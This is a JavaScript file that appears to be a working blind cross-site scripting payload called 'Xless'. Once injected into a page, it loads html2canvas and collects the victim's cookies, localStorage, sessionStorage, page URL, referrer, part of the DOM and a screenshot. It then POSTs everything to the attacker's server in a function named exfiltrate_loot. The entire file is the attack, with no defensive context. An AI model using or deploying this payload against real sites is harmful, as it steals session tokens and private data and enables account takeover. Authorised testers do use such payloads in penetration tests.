// Xless: Adaptive Screenshot Blind XSS Payload (Top-only for large pages)

console.log("Loaded xless (adaptive screenshots).");
var collected_data = {};
var curScript = document.currentScript;

function rv(v) {
  return v !== undefined ? v : "";
}

function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}

/* ================= SCREENSHOT HELPERS ================= */

async function captureViewport(label) {
  try {
    const canvas = await html2canvas(document.documentElement, {
      useCORS: true,
      allowTaint: true,
      windowWidth: document.documentElement.scrollWidth,
      windowHeight: window.innerHeight,
      scrollX: 0,
      scrollY: window.scrollY
    });

    return {
      label,
      image: canvas.toDataURL("image/jpeg", 0.7)
    };
  } catch {
    return null;
  }
}

async function adaptiveScreenshots() {
  const body = document.body;
  const html = document.documentElement;

  const pageHeight = Math.max(
    body.scrollHeight,
    body.offsetHeight,
    html.clientHeight,
    html.scrollHeight,
    html.offsetHeight
  );

  const viewport = window.innerHeight;

  // 🟢 Small page → Full
  if (pageHeight <= viewport + 50) {
    return [await captureViewport("Full")].filter(Boolean);
  }

  // 🔵 Large page → ONLY Top
  window.scrollTo(0, 0);
  await sleep(800);
  return [await captureViewport("Top")].filter(Boolean);
}

/* ================= DATA COLLECTION ================= */

async function collect_data() {
  collected_data = {
    Location: rv(location.href),
    Origin: rv(location.origin),
    Referrer: rv(document.referrer),
    "User-Agent": rv(navigator.userAgent),
    "Browser Time": rv(new Date().toTimeString()),
    Cookies: rv(document.cookie),
    DOM: rv(document.documentElement.outerHTML.slice(0, 8192)),
    localStorage: rv(JSON.stringify(localStorage)),
    sessionStorage: rv(JSON.stringify(sessionStorage)),
    Screenshots: []
  };

  collected_data.Screenshots = await adaptiveScreenshots();
}

/* ================= SEND TO BACKEND ================= */

function exfiltrate_loot() {
  var uri = new URL(curScript.src);
  var exf_url = uri.origin + "/c";

  var xhr = new XMLHttpRequest();
  xhr.open("POST", exf_url, true);
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(JSON.stringify(collected_data));
}

/* ================= LOAD html2canvas ================= */

(function () {
  const s = document.createElement("script");
  s.src =
    "https://cdn.jsdelivr.net/npm/html2canvas@1.0.0-rc.7/dist/html2canvas.min.js";
  s.async = true;
  s.onload = function () {
    collect_data().then(exfiltrate_loot);
  };
  document.head.appendChild(s);
})();
